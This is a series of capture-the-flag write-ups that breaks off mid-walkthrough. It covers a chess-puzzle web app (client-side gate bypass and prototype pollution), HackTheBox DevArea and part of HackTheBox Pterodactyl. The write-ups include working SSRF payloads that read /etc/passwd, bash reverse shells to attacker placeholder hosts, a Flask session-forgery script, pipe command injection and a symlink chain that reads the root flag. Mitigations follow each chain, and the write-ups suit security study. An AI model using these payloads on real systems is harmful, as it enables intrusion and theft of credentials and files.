{"ok":true,"preferences":{"theme":"forest","pieceSet":"classic","animationMs":180}}

Same generic-looking response as always - the endpoint never confirms pollution either way. Reset and replayed the mate one more time to check:

curl -b cookies.txt -X POST http://machine-ip:3000/api/reset
curl -b cookies.txt -X POST http://machine-ip:3000/api/move \
  -H 'Content-Type: application/json' \
  -d '{"from":"a1","to":"a8"}'

Output

{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}
{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","flag":"[REDACTED]"}

That's it - no more locked, no more taunting message, just the flag straight in the response. The constructor.prototype.unlocked payload polluted the global Object.prototype with unlocked: true. From that point on, any object in the app - including the session's config object - that doesn't have its own unlocked property falls back through the prototype chain and finds the polluted one, so session.config.unlocked reads as true everywhere, satisfying the reward gate on the very next checkmate.

Key vulnerabilities

Prototype pollution via unsanitized object merge in /api/settings. The settings endpoint merges the client-supplied JSON body into session-side state (likely via something like Object.assign, a recursive merge helper, or a naive deep-merge library) without rejecting dangerous key paths. It filtered the well-known __proto__ key but missed the equivalent constructor.prototype gadget, allowing arbitrary properties to be written onto the global Object.prototype.
Security decision (unlocked) implemented as a prototype-chain-readable flag. Because the reward gate is just session.config.unlocked with no check for whether that property is the object's own property (e.g. no Object.hasOwn / hasOwnProperty check), polluting Object.prototype was enough to flip the flag for every session on the app, not just the attacker's own state.

Attack chain

Nmap finds the same Endgame Trainer Express app, now on port 3000.
The client-side "block the winning move" logic from the original box has been removed - checking /js/app.js confirms doMove() submits any legal move unconditionally.
Replaying the previous exploit (POST /api/move with the mate-in-one directly) now succeeds as a legal chess move but is refused by a new server-side reward gate: session.config.unlocked is not set.
The newly-added /api/settings endpoint merges client-supplied JSON into session state. A __proto__-based pollution attempt is filtered, but pivoting to the constructor.prototype.unlocked gadget gets through undetected.
That pollutes the global Object.prototype with unlocked: true, which the reward-gate check inherits through the prototype chain.
Resetting the board and replaying the exact same mate-in-one move (a1 to a8) now passes the gate and returns the flag.

Mitigations

Sanitize all dangerous key names before any recursive merge or Object.assign-style operation on user-controlled input - at minimum block __proto__, constructor, and prototype at every level of the object, not just the top level or the most obvious name.
Prefer safe merge utilities that use Object.create(null) for intermediate objects, or that explicitly copy only an allow-listed set of keys, instead of hand-rolled recursive merges.
Never gate a security-relevant decision on a property that can be satisfied via the prototype chain. Use Object.hasOwn(session.config, 'unlocked') (or equivalent) so an inherited/polluted property can't silently satisfy the check.
Consider freezing sensitive objects/prototypes (Object.freeze(Object.prototype)) at app startup as defense-in-depth against this exact class of bug.
As with the original box, keep the actual reward/flag issuance logic entirely server-side and independent of anything the client can influence beyond the legitimate move itself.

TryHackMe : FoolMate Writeup

Yogeshwar Peela — Wed, 22 Jul 2026 10:30:44 +0000

Summary

Endgame Trainer is a small web app that presents a "mate-in-one" chess puzzle. The board is legit (built on the chess.js library), but the app has a gimmick: if you actually play the winning move, a fake system dialog pops up threatening to "shut down your PC" instead of letting you win. That block, however, only exists in the front-end JavaScript. The move itself is validated and executed by a backend API endpoint (/api/move) that has no idea the UI is supposed to be stopping you. Sending the winning move (a1a8, delivering checkmate) straight to the API with curl skips the client-side gate entirely and the server hands back the flag in its JSON response. Along the way, a relative-path request also pulled the raw chess.js source out from a directory that wasn't meant to be reachable, confirming exactly how the client-side move validation worked and that it could be bypassed server-side.

Box IP referred to below as machine-ip.

Recon

Nmap

nmap -A -Pn machine-ip -o nmap

Nmap output

Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-21 11:56 -0400
Nmap scan report for machine-ip
Host is up (0.038s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a8:1e:0e:a0:5f:74:77:25:d5:0f:11:98:56:9e:b0:ed (ECDSA)
|_  256 dd:84:d1:e8:ee:c2:69:30:cb:0c:1a:43:58:d4:45:d1 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: "Endgame Trainer"
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 21/tcp)
HOP RTT      ADDRESS
1   37.15 ms 192.168.128.1
2   ...
3   38.04 ms machine-ip

Nmap done: 1 IP address (1 host up) scanned in 24.49 seconds

Two open ports: SSH (22, not the focus here) and an Express-based HTTP service on port 80 titled "Endgame Trainer."

Checking out the web app

curl http://machine-ip/

Page source






  <title>Endgame Trainer</title>







        <span>♜</span>
        <span>Endgame<span>Trainer</span></span>

      Mate-in-one · White to move










            <span id="turnDot"></span>
            <span id="statusText">White to move</span>



        ...







        <span id="winTitle">/usr/lib32</span>
        <span><span>×</span></span>


        I'll shut down your PC if you play that.


        OK

The page is a chessboard UI starting from a mate-in-one position (6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1, i.e. White rook on a1, Black king boxed in on g8). It's framed as a joke: try to deliver the actual mate and a fake "system" dialog threatens to shut down your PC instead of showing a win. That's the hint that the "you can't play that" logic is happening somewhere it shouldn't be trusted - the client.

Reading the client logic

curl http://machine-ip/js/app.js

Key excerpt from app.js

import { Chess } from '../vendor/chess.js';

const START_FEN = '6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1';
...
function preMoveCheck(from, to, promotion) {
  const probe = new Chess(game.fen());
  let result;
  try {
    result = probe.move({ from, to, promotion: promotion || undefined });
  } catch (e) {
    result = null;
  }
  if (result &amp;&amp; probe.isCheckmate()) {
    showSystemNotice("I'll shut down your PC if you play that.");
    return false;
  }
  return true;
}

function doMove(from, to) {
  if (!isLegalTarget(from, to)) return false;
  const promotion = needsPromotion(from, to) ? 'q' : undefined;
  if (!preMoveCheck(from, to, promotion)) {
    setElPos(els[from], from, true);
    return true;
  }
  toast(SMUG[Math.floor(Math.random() * SMUG.length)]);
  sendMove(from, to, promotion);
  return true;
}

async function sendMove(from, to, promotion) {
  locked = true;
  let data;
  try {
    const res = await fetch('/api/move', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ from, to, promotion: promotion || undefined })
    });
    data = await res.json();
  } catch (e) { ... }
  ...
}

This is the whole game right here. preMoveCheck() runs a local, throwaway copy of the chess engine (probe) against the move the user is trying to make. If that probe results in checkmate, the front end just refuses to call sendMove() and shows the fake "shut down your PC" popup instead. It never touches the server. The actual move submission happens over fetch('/api/move', ...), a plain POST with from/to/promotion in JSON - nothing here that couldn't be replayed directly with curl.

Confirming the library and a stray path traversal

curl http://machine-ip/../vendor/chess.js

Excerpt from chess.js

/**
 * @license
 * Copyright (c) 2025, Jeff Hlywa (jhlywa@gmail.com)
 * ...
 */
export const WHITE = 'w';
export const BLACK = 'b';
...
export class Chess {
  ...
  isCheckmate() {
    return this.isCheck() &amp;&amp; this._moves().length === 0;
  }
  ...
}

Requesting /../vendor/chess.js against the static file server successfully returned the full, unminified chess.js source from outside the intended web root - a relative-path traversal in how static assets are served. It didn't hand over anything sensitive on its own (just the open-source chess library also used in the front end), but it confirmed the exact validation logic being run client-side and that the static handler wasn't strictly confining requests to its public directory.

I tried pushing the traversal further to grab actual system files:

curl http://machine-ip/../../etc/passwd
curl http://machine-ip/../../../../../etc/passwd

Output (both attempts)





<title>Error</title>


<pre>Cannot GET /etc/passwd</pre>

Both attempts to reach /etc/passwd were rejected - the traversal that reached vendor/ was likely a one-off consequence of the static root's structure rather than a fully open path traversal, and it didn't extend to arbitrary filesystem reads.

Exploitation - bypassing the client-side checkmate gate

Since preMoveCheck() is purely cosmetic and /api/move is a plain unauthenticated JSON endpoint, the fix was to just talk to the API directly and skip the browser (and its popup) entirely.

Grabbed a session cookie first, since the app tracks board state server-side per session:

curl -s -c cookies.txt http://machine-ip/ -o /dev/null

Then played the actual mate-in-one - rook from a1 to a8, delivering checkmate on the boxed-in king on g8:

curl -s -b cookies.txt -X POST http://machine-ip/api/move \
  -H "Content-Type: application/json" \
  -d '{"from":"a1","to":"a8"}'

Response

{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","flag":"[REDACTED]"}

The server validated the move independently (using the same chess.js library server-side), recognized checkmate, and returned the flag directly in the JSON response - no browser, no popup, no client-side gate involved at all.

Key vulnerabilities

Client-side-only enforcement of a security/game-logic boundary. The one thing the app was supposed to prevent - actually playing the winning move - was checked exclusively in front-end JavaScript (preMoveCheck). The backend /api/move endpoint accepted and executed the exact same move without re-checking whether it was "allowed" to be played, so the restriction was trivial to bypass by talking to the API directly.
Minor path traversal in static file serving. A request for /../vendor/chess.js escaped the intended public directory and returned source code that wasn't meant to be directly reachable. This didn't extend to full filesystem reads in testing, but it's still an information-disclosure weakness in how static assets are routed.

Attack chain

Nmap identifies an Express/Node web app on port 80 alongside SSH.
The web page presents a mate-in-one chess puzzle with a gimmick blocking the winning move via a fake pop-up.
Reading /js/app.js reveals the block is done with a client-side probe (preMoveCheck) and that real moves are sent to /api/move over a simple JSON POST.
A relative path request (/../vendor/chess.js) confirms the chess engine in use and that the static file handler doesn't fully confine paths to its root.
Grabbing a session cookie and POSTing the winning move (a1 to a8) directly to /api/move bypasses the client-side gate entirely; the server validates it as checkmate and returns the flag.

Mitigations

Enforce all game/business logic rules server-side. Client-side checks should only be used for UX (instant feedback), never as the actual security or logic boundary - the server must independently re-validate every move (or any privileged action) regardless of what the UI attempted to prevent.
Treat any client-supplied move/action as untrusted input; the server-side chess.js instance should be the sole source of truth for whether a move is legal, and any application-specific restriction (like "don't allow the win") needs to live in that same trusted layer.
Lock down static file serving so relative paths (../) can't escape the configured public directory; use a static file middleware configuration that resolves and validates paths against an allow-listed root rather than relying on default traversal protections.
Avoid shipping unnecessary source/library files in a location reachable by directory traversal in the first place - keep vendor/build directories outside of anything the web server can serve.

HackTheBox: DevArea — Full Walkthrough

Yogeshwar Peela — Sun, 19 Jul 2026 15:52:55 +0000

A complete walkthrough of HackTheBox DevArea — chaining an Apache CXF SSRF vulnerability, Hoverfly middleware injection, Flask session forgery, command injection, and a double symlink privilege escalation to achieve full root compromise.

Difficulty: Hard | OS: Linux | Platform: Hack The Box

Attack Path: Anonymous FTP → JAR Analysis → CVE-2022-46364 (Apache CXF SSRF) → Hoverfly Credentials → CVE-2025-54123 (Hoverfly RCE) → Shell as dev_ryan → Secret Key Leak → Session Forgery → Command Injection → Double Symlink → Root

1. Reconnaissance

nmap -sC -sV -A <MACHINE-IP>

Key Findings:

Port 21: vsftpd (Anonymous login enabled)
Port 22: SSH
Port 80: Apache HTTP
Port 8080: Java/Jetty (SOAP service — Apache CXF)
Port 8500/8888: Hoverfly proxy

echo "<MACHINE-IP> devarea.htb" | sudo tee -a /etc/hosts

2. Anonymous FTP — Downloading the JAR

Port 21 has anonymous FTP login enabled:

ftp devarea.htb
# Username: anonymous
# Password: (blank)

ftp> cd pub
ftp> ls
# employee-service.jar
ftp> get employee-service.jar
ftp> bye

3. JAR Analysis — Discovering the SOAP Endpoint

Decompile the JAR using jadx-gui:

jadx-gui employee-service.jar

Navigate to htb.devarea → ServerStarter. The decompiled code reveals:

JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
factory.setServiceClass(EmployeeService.class);
factory.setServiceBean(new EmployeeServiceImpl());
factory.setAddress("http://0.0.0.0:8080/employeeservice");
factory.create();
System.out.println("Employee Service running at http://localhost:8080/employeeservice");
System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");

This reveals:

The service runs on port 8080
It uses Apache CXF (org.apache.cxf.jaxws)
WSDL available at /employeeservice?wsdl

Fetch the WSDL to enumerate endpoints:

curl http://devarea.htb:8080/employeeservice?wsdl

The service exposes one operation — submitReport — accepting:

employeeName (string)
department (string)
content (string)
confidential (boolean)

4. CVE-2022-46364 — Apache CXF MTOM SSRF

From the JAR import org.apache.cxf.jaxws.JaxWsServerFactoryBean we confirmed the service runs on Apache CXF — vulnerable to CVE-2022-46364.

The import at the top of ServerStarter.java was:

import org.apache.cxf.jaxws.JaxWsServerFactoryBean;

That org.apache.cxf package name directly tells us it's Apache CXF.

What is MTOM?

MTOM (Message Transmission Optimization Mechanism) is a W3C standard for embedding binary data in SOAP messages. It uses XOP:Include elements with an href attribute pointing to the data source:

<!-- Normal use -->
<employeeName>
  <xop:Include href="cid:attachment@example.com"/>
</employeeName>

The Vulnerability

Apache CXF < 3.5.5 / < 3.4.10 performs no validation on the href attribute. An attacker can point it to arbitrary local files:

<!-- Malicious -->
<employeeName>
  <xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include"
               href="file:///etc/passwd"/>
</employeeName>

The server fetches the file and returns its contents Base64-encoded in the SOAP response. No authentication required.

Manual Exploit

curl -X POST http://devarea.htb:8080/employeeservice \
  -H 'Content-Type: multipart/related; boundary="b"' \
  --data $'--b\r\nContent-Type: application/xop+xml\r\n\r\n \
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <d:submitReport xmlns:d="http://devarea.htb/">
      <arg0>
        <employeeName><x:Include xmlns:x="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/></employeeName>
      </arg0>
    </d:submitReport>
  </s:Body>
</s:Envelope> \r\n--b--\r\n'

Reading the Hoverfly Service File

Since nmap revealed Hoverfly on port 8888, we try reading its systemd service file — service files are world-readable and often contain credentials. Common service file names to try:

/etc/systemd/system/hoverfly.service
/etc/systemd/system/syswatch.service
/etc/systemd/system/gunicorn.service

Extracting Hoverfly Credentials

Sending the SSRF request targeting hoverfly.service:

curl -X POST http://devarea.htb:8080/employeeservice \
  -H 'Content-Type: multipart/related; boundary="b"' \
  --data $'--b\r\nContent-Type: application/xop+xml\r\n\r\n \
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <d:submitReport xmlns:d="http://devarea.htb/">
      <arg0>
        <employeeName><x:Include xmlns:x="http://www.w3.org/2004/08/xop/include" href="file:////etc/systemd/system/hoverfly.service"/></employeeName>
      </arg0>
    </d:submitReport>
  </s:Body>
</s:Envelope> \r\n--b--\r\n'

hoverfly.service turned out to be a valid endpoint. The SOAP response returned the service file contents Base64-encoded. Decoding it:

echo "<BASE64_HERE>" | base64 -d

The service file had credentials embedded directly in the configuration — plaintext login details for the Hoverfly dashboard.

5. CVE-2025-54123 — Hoverfly Middleware RCE

Navigate to http://devarea.htb with the extracted credentials. The dashboard reveals Hoverfly v1.11.3 — vulnerable to CVE-2025-54123, an authenticated RCE via the middleware API.

Getting the Authorization Token

Open browser DevTools → Network tab → log in and look for API requests containing an Authorization: Bearer <token> header. Copy the token.

Exploiting the Middleware API

Hoverfly allows configuring a middleware script that processes proxied requests. The middleware API accepts an arbitrary binary and script with no sanitization.

Start a listener:

nc -lnvp 4444

Inject a reverse shell:

curl -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"binary":"bash","script":"bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1"}'

Trigger the middleware by sending a request through the Hoverfly proxy:

curl "http://devarea.htb:8500" --proxy "http://devarea.htb:8888"

Shell received as dev_ryan.

cat /home/dev_ryan/user.txt

User flag captured!

6. Privilege Escalation

6.1 Enumerating the Environment

cat /etc/syswatch.env

SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_LOG_DIR=/opt/syswatch/logs
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db

A Flask web GUI runs on 127.0.0.1:7777. Check sudo permissions while enumerating:

sudo -l

Matching Defaults entries for dev_ryan on devarea:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty

User dev_ryan may run the following commands on devarea:
    (root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop,
        !/opt/syswatch/syswatch.sh web-restart

dev_ryan can run syswatch.sh as root without a password — with the exception of the web-stop and web-restart subcommands. The logs subcommand is unrestricted.

6.2 Flask Session Forgery

Flask session cookies are signed but not encrypted. With the leaked SYSWATCH_SECRET_KEY we can forge any session:

# forge.py
from flask.sessions import SecureCookieSessionInterface
from flask import Flask

app = Flask(__name__)
app.secret_key = "f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725"

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session_data = {"user_id": 1, "username": "admin"}
forged_cookie = session_serializer.dumps(session_data)
print(forged_cookie)

python3 forge.py
# eyJ1c2VyX2lkIjox...

Verify admin access:

curl -b "session=<FORGED_COOKIE>" http://127.0.0.1:7777/

6.3 Command Injection in /service-status

The Flask app uses an incomplete regex with shell=True:

SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")

res = subprocess.run(
    [f"systemctl status --no-pager {service}"],
    shell=True,    # ← dangerous
    capture_output=True, text=True, timeout=10
)

The regex blocks ;, /, &, ., <, >, uppercase — but not |. Pipe injection works:

curl -s -b "session=<FORGED_COOKIE>" \
  -X POST http://127.0.0.1:7777/service-status \
  -d "service=ssh | id"
# uid=1002(syswatch)

RCE as syswatch confirmed — this user can write to /opt/syswatch/logs/.

6.4 Double Symlink Attack

The vulnerability in log_message():

The syswatch-monitor timer (and syswatch.sh itself) executes plugins that call log_message() from common.sh:

log_message() {
    local logfile="$1"
    if [ -L "$logfile" ]; then
        rm -f -- "$logfile"    # removes ONE level of symlink
        : > "$logfile"          # creates file — follows remaining chain!
        chmod 644 "$logfile"
    fi
    echo "$(date ...) - $msg" >> "$logfile"
}

Why double symlink bypasses the check:

[ -L "$logfile" ] only tests whether the path itself is a symlink — it does not follow the chain. With two links:

evil.log → chain.log → /root/root.txt

Script sees evil.log is a symlink → removes it
: > "evil.log" recreates the name — the shell follows chain.log → /root/root.txt
The privileged process now reads/writes directly into /root/root.txt

The regex in /service-status blocks / and ., so we use printf octal escapes to construct paths without those characters.

Step 1 — Create the tracking pointer link (chain.log → /root/root.txt):

curl -s -b "session=<FORGED_COOKIE>" \
  -X POST http://127.0.0.1:7777/service-status \
  --data-urlencode "service=ssh | ln -sf \
$(printf '\057root\057root\056txt') \
$(printf '\057opt\057syswatch\057logs\057chain\056log')"

Step 2 — Create the primary verification link (evil.log → chain.log):

curl -s -b "session=<FORGED_COOKIE>" \
  -X POST http://127.0.0.1:7777/service-status \
  --data-urlencode "service=ssh | ln -sf \
$(printf 'chain\056log') \
$(printf '\057opt\057syswatch\057logs\057evil\056log')"

Step 3 — Verify the chain:

curl -s -b "session=<FORGED_COOKIE>" \
  -X POST http://127.0.0.1:7777/service-status \
  --data-urlencode "service=ssh | ls -la \
$(printf '\057opt\057syswatch\057logs\057')"
# evil.log -> chain.log
# chain.log -> /root/root.txt

Step 4 — Read the root flag instantly via sudo:

Rather than waiting up to 5 minutes for the background timer, we invoke syswatch.sh directly as root using the logs subcommand:

sudo /opt/syswatch/syswatch.sh logs evil.log

Why this works immediately:

When syswatch.sh logs evil.log runs, it calls the same log_message() logic — but because we invoked it with sudo, every file operation executes with full root privileges instantly. The security check inspects evil.log and sees it points to chain.log, a file inside the permitted logs directory. It passes. The script then executes cat evil.log, which the kernel resolves recursively:

evil.log → chain.log → /root/root.txt

The root flag prints directly to your terminal — no timer, no waiting.

Root flag captured!

7. Attack Chain Summary

Step	Technique	Impact
Reconnaissance	Nmap	Identified FTP, SOAP service, Hoverfly
Anonymous FTP	Download employee-service.jar	Access to application binary
JAR Analysis	jadx-gui decompilation	Discovered Apache CXF SOAP endpoint
CVE-2022-46364	Apache CXF MTOM SSRF	Arbitrary file read — no auth required
Credential Extraction	Read hoverfly.service	Hoverfly dashboard credentials
CVE-2025-54123	Hoverfly middleware injection	RCE as dev_ryan
User Flag	Reverse shell	`/home/dev_ryan/user.txt`
Secret Leak	`/etc/syswatch.env` world-readable	Flask signing key exposed
Session Forgery	Flask SecureCookieSession	Admin access to internal web GUI
Command Injection	Pipe `\	` bypasses regex
Double Symlink	TOCTOU in log_message()	Symlink chain set up via syswatch user
Sudo Bypass	`syswatch.sh logs` NOPASSWD rule	Instant root read-through via sudo
Root Flag	Symlink read	`/root/root.txt`

8. Key Vulnerabilities & Lessons

1. Anonymous FTP Enabled — Never enable anonymous FTP on production servers. It exposed the application binary which revealed the entire attack surface.

2. CVE-2022-46364 — Apache CXF SSRF (CVSS 9.8) — Upgrade to CXF ≥3.5.5 / ≥3.4.10. The SSRF provided a file read primitive that unlocked the entire attack chain.

3. Credentials in Systemd Service Files — Service files are world-readable by default. Never embed credentials directly — use systemd credential storage or a secrets manager.

4. Leaked Flask Secret Key — /etc/syswatch.env was readable by all users. A leaked signing key allows forging any Flask session cookie. Restrict env files: chmod 600 /etc/syswatch.env.

5. CVE-2025-54123 — Hoverfly Middleware Injection — The middleware API accepted arbitrary binaries and scripts with no validation. Upgrade Hoverfly and restrict API access to trusted networks only.

6. Incomplete Regex with shell=True — Denylisting injection characters always misses something — here it missed |. Always use subprocess.run(["systemctl", "status", service]) with a list to avoid shell interpretation entirely.

7. Double Symlink TOCTOU — [ -L "$logfile" ] resolves only one symlink level. Use readlink -f to fully resolve paths and validate they stay within the intended directory before any write operation.

8. Overly Permissive Sudo Rule — The NOPASSWD rule for syswatch.sh with a denylist approach (!web-stop, !web-restart) is inherently unsafe. Any subcommand not explicitly blocked — including logs — is permitted as root. Sudo rules should use an allowlist, not a denylist.

Conclusion

DevArea demonstrates a realistic multi-stage attack chain where each vulnerability enables the next:

Anonymous FTP exposes the application binary
Binary analysis reveals the technology stack
Unauthenticated SSRF gives arbitrary file read
File read exposes service credentials
Outdated middleware with known RCE gives initial shell
World-readable secrets enable authentication bypass
Incomplete sanitization allows command injection
A subtle symlink race condition combined with a permissive sudo rule leads to instant root

Every vulnerability here has been seen in real-world environments. Defense in depth — patching, least privilege, proper input handling — would have broken this chain at any link.

Have you solved DevArea? Drop your approach in the comments! Follow for more HackTheBox writeups and security research.

HackTheBox : Pterodactyl Writeup

Yogeshwar Peela — Sun, 19 Jul 2026 15:23:09 +0000

Summary

Pterodactyl is a Linux box built around an unauthenticated RCE in the Pterodactyl game-server management panel. A static "MonitorLand" landing page on port 80 gives no functionality of its own, but a leaked changelog.txt discloses the exact panel version (v1.11.10) and backend stack (PHP-PEAR, MariaDB). Virtual host fuzzing turns up the actual panel at panel.pterodactyl.htb, and the disclosed version maps directly to CVE-2025-49132 - an unauthenticated PHP object-deserialization RCE via the /locales/locale.json endpoint, abusable through PHP-PEAR to gain code execution as wwwrun. From there, the Laravel .env file leaks MariaDB credentials, and dumping the users table yields bcrypt password hashes; cracking one with john recovers valid SSH credentials for phileasfogg3, who owns the box's only real home directory - and the user flag.

Privilege escalation chases a D-Bus/udisks/polkit trust chain surfaced during manual and automated enumeration. The direct route, CVE-2025-6019 (a libblockdev/udisks LPE), requires an allow_active (physically-present) session, which an SSH session doesn't satisfy by default. Fingerprinting the OS (openSUSE Leap 15.6) leads to a second bug, CVE-2025-6018 (a PAM/pam-config flaw), which promotes a plain SSH session to allow_active. Chaining the two - first elevating the session's Polkit context, then using that context to trigger a SUID bash via a crafted XFS filesystem mount through udisks - yields a root shell and the root flag.

Key techniques: information disclosure via leaked changelog -> vhost enumeration -> CVE-2025-49132 (Pterodactyl Panel unauthenticated RCE via PEAR-based deserialization) -> Laravel .env credential disclosure -> MariaDB credential dump -> offline bcrypt cracking -> SSH foothold -> CVE-2025-6018 (PAM allow_active session escalation) -> CVE-2025-6019 (libblockdev/udisks LPE via crafted XFS mount) -> SUID bash -> root.

1. Reconnaissance

An nmap scan was run to identify open ports and services.

nmap -sCV -T4 -A <MACHINE-IP> -o nmap-pterodactyl

Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-09 07:01 EST
Nmap scan report for pterodactyl.htb (<MACHINE-IP>)
Host is up (0.22s latency).
Not shown: 978 filtered tcp ports (no-response), 18 filtered tcp ports (admin-prohibited)
PORT     STATE  SERVICE  VERSION
22/tcp   open   ssh      OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp   open   http     nginx 1.21.5
|_http-title: "My Minecraft Server"
|_http-server-header: nginx/1.21.5
443/tcp  closed https
8080/tcp closed http-proxy
Aggressive OS guesses: Linux 5.0 - 5.14 (98%), Linux 4.15 - 5.19 (94%), Linux 2.6.32 - 3.13 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   216.42 ms 10.10.14.1
2   210.40 ms pterodactyl.htb (<MACHINE-IP>)

Nmap done: 1 IP address (1 host up) scanned in 34.08 seconds

Two services are exposed:

22/tcp - SSH
80/tcp - HTTP (nginx), titled "My Minecraft Server"

pterodactyl.htb was added to /etc/hosts:

sudo nano /etc/hosts
<MACHINE-IP> pterodactyl.htb panel.pterodactyl.htb

2. Web Enumeration

The site itself is a static "MonitorLand" landing page for a Minecraft server community, with no interactive functionality:

While the page itself has nothing to exploit, it links out to play.pterodactyl.htb and a changelog. Fetching http://pterodactyl.htb/changelog.txt turned out to be far more useful than the page it was linked from:

MonitorLand - CHANGELOG.txt
========================================

Version 1.20.X

[Added] Main Website Deployment
-------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.

[Linked] Subdomain Configuration
-------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.

[Installed] Pterodactyl Panel v1.11.10
-------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
  - PHP with required extensions.
  - MariaDB 11.8.3 backend.

[Enhanced] PHP Capabilities
-------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()

This single file discloses the exact Pterodactyl Panel version (v1.11.10), the database backend (MariaDB 11.8.3), and - critically - that PHP-PEAR is enabled. That combination significantly narrows the search for a version-specific vulnerability.

2.1 Virtual Host Enumeration

ffuf -u http://pterodactyl.htb -H "HOST: FUZZ.pterodactyl.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc 200

________________________________________________

 :: Method           : GET
 :: URL              : http://pterodactyl.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.pterodactyl.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

panel                   [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 610ms]

panel.pterodactyl.htb was added to /etc/hosts and resolves to the Pterodactyl Panel login page.

3. Exploitation - CVE-2025-49132

With the exact panel version in hand, research turned up a matching vulnerability: an unauthenticated LFI/RCE affecting Pterodactyl Panel.

CVE-2025-49132 abuses the /locales/locale.json endpoint. By controlling the locale and namespace parameters, an attacker can include arbitrary files - which, combined with PHP-PEAR being enabled, leads to PHP object deserialization via PEAR, ultimately resulting in unauthenticated remote code execution.

PoC used: YoyoChaud/CVE-2025-49132

A listener was started first:

nc -lnvp 4444
listening on [any] 4444 ...

Then the exploit was run against the panel:

python3 exploit.py http://panel.pterodactyl.htb --pear-dir /usr/share/php/PEAR \
  --rce-cmd "/bin/bash -i >& /dev/tcp/<ATTACKER-IP>/4444 0>&1"

  Pterodactyl Panel - Unauthenticated Exploit
  Targets: <= 1.11.10 | Patched: 1.11.11
  Exploit By YoyoChaud

════════════════════════════════════════════════════════════
  VULNERABILITY CHECK
════════════════════════════════════════════════════════════
  [*] Target: http://panel.pterodactyl.htb
  [+] Endpoint accessible without hash parameter
  [+] TARGET IS VULNERABLE

════════════════════════════════════════════════════════════
  RCE (pearcmd) - /bin/bash -i >& /dev/tcp/<ATTACKER-IP>/4444 0>&1
════════════════════════════════════════════════════════════
  [+] Output:
(connection held - check your listener)

The listener catches a shell as wwwrun:

nc -lnvp 4444
listening on [any] 4444 ...
connect to [<ATTACKER-IP>] from (UNKNOWN) [<MACHINE-IP>] 60140
bash: cannot set terminal process group (1214): Inappropriate ioctl for device
bash: no job control in this shell
wwwrun@pterodactyl:/var/www/pterodactyl/public>

3.1 Stabilizing the Shell and Finding the User

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to suspend, then on the attacker terminal:
stty raw -echo; fg
export TERM=xterm

# Enumerate users
cat /etc/passwd

Of the accounts with /bin/bash as their shell, only phileasfogg3 has an accessible home directory - making it the clear target for the next stage.

3.2 User Flag

wwwrun@pterodactyl:/var/www/pterodactyl/public> cat /home/phileasfogg3/user.txt
HTB{REDACTED}

4. Database Enumeration and Credential Cracking

Laravel applications (which power the Pterodactyl Panel) store database credentials in a .env file - a high-value target during post-exploitation.

# Locate the .env file
find / -type f -name "*.env" 2>/dev/null

# Read it for database credentials
cat /path/to/.env

This discloses the MariaDB username, password, and database name. With MariaDB (not MySQL) confirmed as the backend:

mariadb -h 127.0.0.1 -u <DB_USER> -p <DB_NAME>
# Prompts for the password from .env

SHOW TABLES;
DESCRIBE users;
SELECT email, username, password FROM users;

